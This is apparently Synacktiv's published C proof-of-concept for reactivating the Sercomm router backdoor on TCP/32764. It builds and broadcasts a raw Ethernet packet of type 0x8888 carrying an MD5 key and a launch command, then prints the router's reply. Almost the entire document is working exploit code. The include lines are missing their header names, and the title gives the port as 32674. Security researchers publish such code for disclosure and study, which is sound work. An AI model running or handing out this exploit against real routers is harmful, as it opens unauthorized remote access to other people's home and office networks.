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PoC to reactivate Sercomm TCP/32674 backdoor

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* PoC to reactivate Sercomm TCP/32674 backdoor
* See http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf
* Eloi Vanderbeken - Synacktiv
*
* THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* PoC based on Wilmer van der Gaast's code
* http://wiki.openwrt.org/_media/toh/netgear/dg834.g.v4/nftp.c
***************************************/

#include
#include
#include
#include
#include
#include
#include

#include

#include

#include

#include
#include
#include
#include

#define ETH_P_NFTP 0x8888

enum backdoor_command {
PING_BACKDOOR = 0x200,
SCFGMGR_LAUNCH,
SET_IP
};

struct ether_header
{
unsigned char ether_dhost[ETH_ALEN];
unsigned char ether_shost[ETH_ALEN];
unsigned short ether_type;
} eth;

struct raw_packet {
struct ether_header header;
uint16_t type;
uint16_t sequence;
uint16_t offset;
uint16_t chunk;
uint16_t payload_len;
uint8_t payload[528];
};

int main(int argc, char *argv[])
{
int sockfd, res, i, len;
char src_mac[ETH_ALEN];
struct ifreq iface;
struct sockaddr_ll socket_address;
struct raw_packet packet;

memset(&packet, 0, sizeof(packet));

if (argc < 2)
{
fprintf(stderr, "usage : %s [IFNAME]\n", argv[0]);
exit(1);
}

sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockfd == -1)
{
if(geteuid() != 0)
{
fprintf(stderr, "You should probably run this program as root.\n");
}
perror("socket");
exit(1);
}
seteuid(getuid());

strncpy(iface.ifr_name, argv[1], IFNAMSIZ);
res = ioctl(sockfd, SIOCGIFHWADDR, &iface);
if(res < 0)
{
perror("ioctl");
exit(1);
}
memcpy(src_mac, iface.ifr_hwaddr.sa_data, ETH_ALEN);

res = ioctl(sockfd, SIOCGIFINDEX, &iface);
if(res < 0)
{
perror("ioctl");
exit(1);
}

// set src mac
memcpy(packet.header.ether_shost, src_mac, ETH_ALEN);
// broadcast
memset(packet.header.ether_dhost, 0xFF, ETH_ALEN);
// MD5("DGN1000")
memcpy(packet.payload, "\x45\xD1\xBB\x33\x9B\x07\xA6\x61\x8B\x21\x14\xDB\xC0\xD7\x78\x3E", 0x10);
packet.payload_len = htole16(0x10);
// ethernet packet type = 0x8888
packet.header.ether_type = htons(ETH_P_NFTP);
// launch TCP/32764 backdoor
packet.type = htole16(SCFGMGR_LAUNCH);

socket_address.sll_family = PF_PACKET;
socket_address.sll_protocol = htons(ETH_P_NFTP);
socket_address.sll_ifindex = iface.ifr_ifindex;
socket_address.sll_hatype = ARPHRD_ETHER;
socket_address.sll_pkttype = PACKET_OTHERHOST;
// broadcast
socket_address.sll_halen = ETH_ALEN;
memset(socket_address.sll_addr, 0xFF, ETH_ALEN);

res = sendto(sockfd, &packet, 0x10 + 24, 0, (struct sockaddr *)&socket_address, sizeof(socket_address));
if (res == -1)
{
perror("sendto");
exit(1);
}

do {
memset(&packet, 0, sizeof(packet));
res = recvfrom(sockfd, &packet, sizeof(packet), 0, NULL, NULL);
if (res == -1)
{
perror("recvfrom");
exit(1);
}
} while (ntohs(packet.header.ether_type) != ETH_P_NFTP);

if (res < sizeof(packet) - sizeof(packet.payload))
{
fprintf(stderr, "packet is too short: %d bytes\n", res);
exit(1);
}

len = be16toh(packet.payload_len); // SerComm has a real problem with endianness
printf("received packet: %d bytes (payload len = %d) from ", res, len);
for (i = 0; i < ETH_ALEN; i++)
printf("%02X%c", packet.header.ether_shost[i], i == ETH_ALEN-1 ? '\n' : ':');

for (i = 0; (i < len) && (i < sizeof(packet.payload)); i++)
{
printf("%02X ", packet.payload[i]);
if ((i+1) % 16 == 0)
printf("\n");
}
printf("\n");
return 0;
}

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